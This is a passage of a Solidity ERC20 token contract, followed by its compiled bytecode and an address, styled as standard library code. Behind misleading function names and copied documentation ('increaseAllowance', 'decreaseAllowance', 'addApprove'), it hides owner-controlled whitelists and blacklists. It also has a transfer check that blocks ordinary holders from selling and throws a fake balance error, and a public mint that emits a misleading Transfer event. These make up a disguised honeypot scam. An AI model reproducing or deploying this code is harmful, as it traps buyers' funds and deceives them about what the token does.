can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b5285604051806060016040528060288152602001612eaa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9a838281518110610e7957fe5b6020026020010151838381518110610e8d57fe5b6020026020010151611172565b5083811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ef76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e626022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611820868686612e39565b61188b84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611c7c868686612e39565b611ce784604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611f96868686612e39565b61200184604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b6123ae868686612e39565b61241984604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612780868686612e39565b6127eb84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612b3f868686612e39565b612baa84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b2cf079d336edcda3a28242633a1c0c8810adf742dfd60025c951f1a014018a564736f6c63430006060033
[ 38 ]
0xf209815E595Cdf3ed0aAF9665b1772e608AB9380
